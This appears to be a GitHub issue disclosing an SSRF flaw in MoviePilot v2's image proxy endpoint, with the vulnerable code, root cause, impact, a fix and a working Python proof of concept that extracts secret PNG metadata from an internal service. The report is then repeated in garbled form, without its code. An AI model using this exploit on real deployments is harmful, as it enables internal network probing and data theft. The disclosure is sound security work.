确认
当前程序版本
MoviePilot v2
运行环境
Docker
问题类型
主程序运行问题
问题描述
Summary
MoviePilot v2 (latest, jxxghp/moviepilot Docker image) exposes a Server-Side Request Forgery vulnerability through its image proxy endpoint (/api/v1/system/img/{proxy}). The endpoint fetches arbitrary URLs whose netloc matches a domain allowlist (SECURITY_IMAGE_DOMAINS). In typical deployments this allowlist dynamically includes configured media server hosts (Jellyfin, Emby, Plex) which are internal network addresses (192.168.x.x, 10.x.x.x, 172.16.x.x). SecurityUtils.is_safe_url performs domain-membership checking only — it has no private-IP detection, no DNS resolution check, and no loopback guard. An authenticated user with a resource_token cookie (any logged-in user, not superuser) can fetch any URL on the internal media server host, enabling LAN service enumeration and data exfiltration.
Vulnerable Code
# app/api/endpoints/system.py:389
@router.get("/img/{proxy}", summary="图片代理")
async def proxy_img(
imgurl: str,
proxy: bool = False,
...
_: schemas.TokenPayload = Depends(verify_resource_token),
) -> Response:
hosts = [
config.config.get("host")
for config in MediaServerHelper().get_configs().values()
if config and config.config and config.config.get("host")
]
allowed_domains = set(settings.SECURITY_IMAGE_DOMAINS) | set(hosts) # ← internal IPs enter here
...
return await fetch_image(url=imgurl, ..., allowed_domains=allowed_domains)
# app/api/endpoints/system.py:344
async def fetch_image(url, ..., allowed_domains):
if not SecurityUtils.is_safe_url(url, allowed_domains): # ← domain-only check
return None
content = await ImageHelper().async_fetch_image(url=url, ...) # ← httpx GET, no SSRF guard
...
# app/utils/security.py:76
@staticmethod
def is_safe_url(url: str, allowed_domains, strict: bool = False) -> bool:
parsed_url = urlparse(url)
if parsed_url.scheme not in {"http", "https"}:
return False
netloc = parsed_url.netloc.lower()
for domain in allowed_domains:
parsed_allowed_url = urlparse(domain)
allowed_netloc = parsed_allowed_url.netloc or parsed_allowed_url.path
if netloc == allowed_netloc or netloc.endswith('.' + allowed_netloc):
return True
return False
# ← NO ipaddress.is_private check
# ← NO DNS resolution check
# ← NO loopback/link-local guard
Root Cause
is_safe_url is a pure domain-membership gate. It verifies that the request URL's netloc matches an entry in allowed_domains, but never inspects whether the resolved address is private, loopback, or link-local. When allowed_domains includes an internal media server host (the standard deployment pattern — Jellyfin at http://192.168.1.50:8096/), the entire internal host becomes reachable through the proxy. The media server host is added by proxy_img at runtime from MediaServerHelper().get_configs(), which reads user-configured media server addresses that are virtually always internal IPs.
Impact
An authenticated user with a resource_token cookie (any logged-in user, lowest privilege level) can:
- Fetch any path on the configured media server's internal IP (read Jellyfin/Emby/Plex internal APIs, user lists, library metadata)
- If the media server shares a subnet with other services (Redis, databases, cloud metadata endpoints), the proxy can reach those via the same host if port matches the allowlist entry; with a bare-IP entry (no port), any port is reachable
- Exfiltrate data from internal services by encoding responses as valid images (the endpoint validates image format via PIL but returns full content including metadata chunks)
Attack Scenario
- Admin deploys MoviePilot with Jellyfin at
http://192.168.1.50:8096/ (standard setup)
proxy_img adds http://192.168.1.50:8096/ to allowed_domains at runtime
- Authenticated user requests
GET /api/v1/system/img/false?imgurl=http://192.168.1.50:8096/System/Info/Public
is_safe_url passes (netloc 192.168.1.50:8096 matches allowlist entry)
httpx.AsyncClient().get() fetches the internal Jellyfin API
- Response proxied back to user — server version, internal paths, configuration leaked
Exploit
See poc.py. Starts a real MoviePilot Docker instance, configures an internal host in SECURITY_IMAGE_DOMAINS, runs a local "internal service" serving a valid PNG with secret metadata, and demonstrates full SSRF data exfiltration through the image proxy.
import io
import os
import subprocess
import sys
import threading
import time
import http.server
import requests
from PIL import Image
from PIL.PngImagePlugin import PngInfo
CONTAINER = "moviepilot_ssrf_poc"
MP_PORT = 3101
INTERNAL_PORT = 18951
SECRET = "SSRF_EXFIL:aws_secret_key=AKIAIOSFODNN7EXAMPLE"
def make_secret_png():
img = Image.new("RGB", (100, 100), color=(255, 0, 0))
meta = PngInfo()
meta.add_text("Secret", SECRET)
buf = io.BytesIO()
img.save(buf, format="PNG", pnginfo=meta)
return buf.getvalue()
def start_internal_service():
png_data = make_secret_png()
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "image/png")
self.send_header("Content-Length", str(len(png_data)))
self.end_headers()
self.wfile.write(png_data)
def log_message(self, *a):
pass
srv = http.server.HTTPServer(("0.0.0.0", INTERNAL_PORT), Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
def start_moviepilot():
subprocess.run(["docker", "rm", "-f", CONTAINER], capture_output=True)
subprocess.run([
"docker", "run", "-d", "--name", CONTAINER,
"-p", f"{MP_PORT}:3000",
"--add-host=host.docker.internal:host-gateway",
"-e", "SUPERUSER=admin",
"-e", "SUPERUSER_PASSWORD=password123",
"-e", f'SECURITY_IMAGE_DOMAINS=["image.tmdb.org","http://host.docker.internal:{INTERNAL_PORT}"]',
"jxxghp/moviepilot:latest",
], capture_output=True, check=True)
for _ in range(40):
try:
r = requests.post(
f"http://127.0.0.1:{MP_PORT}/api/v1/login/access-token",
data={"username": "admin", "password": "password123"}, timeout=3)
if r.status_code == 200:
return
except Exception:
pass
time.sleep(2)
raise RuntimeError("MoviePilot did not start")
def get_resource_cookie():
r = requests.post(
f"http://127.0.0.1:{MP_PORT}/api/v1/login/access-token",
data={"username": "admin", "password": "password123"}, timeout=5)
token = r.json()["access_token"]
r2 = requests.get(
f"http://127.0.0.1:{MP_PORT}/api/v1/system/setting/SECURITY_IMAGE_DOMAINS",
headers={"Authorization": f"Bearer {token}"}, timeout=5)
cookie = r2.cookies.get("MoviePilot")
if not cookie:
for h in r2.headers.get("set-cookie", "").split(";"):
if h.strip().startswith("MoviePilot="):
cookie = h.strip().split("=", 1)[1]
break
return cookie
def exploit(cookie):
target = f"http://host.docker.internal:{INTERNAL_PORT}/secret.png"
r = requests.get(
f"http://127.0.0.1:{MP_PORT}/api/v1/system/img/false",
params={"imgurl": target},
cookies={"MoviePilot": cookie}, timeout=10)
return r
def main():
start_internal_service()
print(f"[*] Internal service on :{INTERNAL_PORT} (valid PNG with secret metadata)")
print(f"[*] Starting MoviePilot (docker: {CONTAINER}) ...")
start_moviepilot()
print("[+] MoviePilot is up.")
cookie = get_resource_cookie()
print(f"[+] Resource cookie obtained")
r = exploit(cookie)
print(f"[*] SSRF response: HTTP {r.status_code}, {len(r.content)} bytes")
if r.status_code == 200 and len(r.content) > 50:
img = Image.open(io.BytesIO(r.content))
img2 = Image.open(io.BytesIO(r.content))
metadata = img2.text
exfiltrated = SECRET in str(metadata)
print(f" PNG metadata: {metadata}")
print(f" exfiltrated: {exfiltrated}")
print(f" result: {'VULNERABLE' if exfiltrated else 'NOT CONFIRMED'}")
else:
print(f" body: {r.content[:100]}")
print(f" result: NOT CONFIRMED")
exfiltrated = False
subprocess.run(["docker", "rm", "-f", CONTAINER], capture_output=True)
sys.exit(0 if exfiltrated else 1)
if __name__ == "__main__":
main()
pip install requests pillow
python3 poc.py
Fix
Add private-IP and loopback detection to is_safe_url or introduce a dedicated SSRF guard before the httpx.get call:
import ipaddress, socket
def is_safe_url(url: str, allowed_domains, strict: bool = False) -> bool:
parsed_url = urlparse(url)
if parsed_url.scheme not in {"http", "https"}:
return False
hostname = parsed_url.hostname
if not hostname:
return False
# Block private/loopback/link-local regardless of allowlist
try:
ip = ipaddress.ip_address(hostname)
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except ValueError:
# Hostname — resolve and check all addresses
try:
for info in socket.getaddrinfo(hostname, None):
addr = ipaddress.ip_address(info[4][0])
if addr.is_private or addr.is_loopback or addr.is_link_local:
return False
except socket.gaierror:
return False
# Then check domain allowlist as before
...
发生问题时系统日志和配置文件
确认
当前程序版本
MoviePilot v2
运行环境
Docker
问题类型
主程序运行问题
问题描述
Summary
MoviePilot v2 (latest,
jxxghp/moviepilotDocker image) exposes a Server-Side Request Forgery vulnerability through its image proxy endpoint (/api/v1/system/img/{proxy}). The endpoint fetches arbitrary URLs whose netloc matches a domain allowlist (SECURITY_IMAGE_DOMAINS). In typical deployments this allowlist dynamically includes configured media server hosts (Jellyfin, Emby, Plex) which are internal network addresses (192.168.x.x, 10.x.x.x, 172.16.x.x).SecurityUtils.is_safe_urlperforms domain-membership checking only — it has no private-IP detection, no DNS resolution check, and no loopback guard. An authenticated user with a resource_token cookie (any logged-in user, not superuser) can fetch any URL on the internal media server host, enabling LAN service enumeration and data exfiltration.Vulnerable Code
Root Cause
is_safe_urlis a pure domain-membership gate. It verifies that the request URL's netloc matches an entry inallowed_domains, but never inspects whether the resolved address is private, loopback, or link-local. Whenallowed_domainsincludes an internal media server host (the standard deployment pattern — Jellyfin athttp://192.168.1.50:8096/), the entire internal host becomes reachable through the proxy. The media server host is added byproxy_imgat runtime fromMediaServerHelper().get_configs(), which reads user-configured media server addresses that are virtually always internal IPs.Impact
An authenticated user with a resource_token cookie (any logged-in user, lowest privilege level) can:
Attack Scenario
http://192.168.1.50:8096/(standard setup)proxy_imgaddshttp://192.168.1.50:8096/toallowed_domainsat runtimeGET /api/v1/system/img/false?imgurl=http://192.168.1.50:8096/System/Info/Publicis_safe_urlpasses (netloc192.168.1.50:8096matches allowlist entry)httpx.AsyncClient().get()fetches the internal Jellyfin APIExploit
See
poc.py. Starts a real MoviePilot Docker instance, configures an internal host inSECURITY_IMAGE_DOMAINS, runs a local "internal service" serving a valid PNG with secret metadata, and demonstrates full SSRF data exfiltration through the image proxy.Fix
Add private-IP and loopback detection to
is_safe_urlor introduce a dedicated SSRF guard before thehttpx.getcall:发生问题时系统日志和配置文件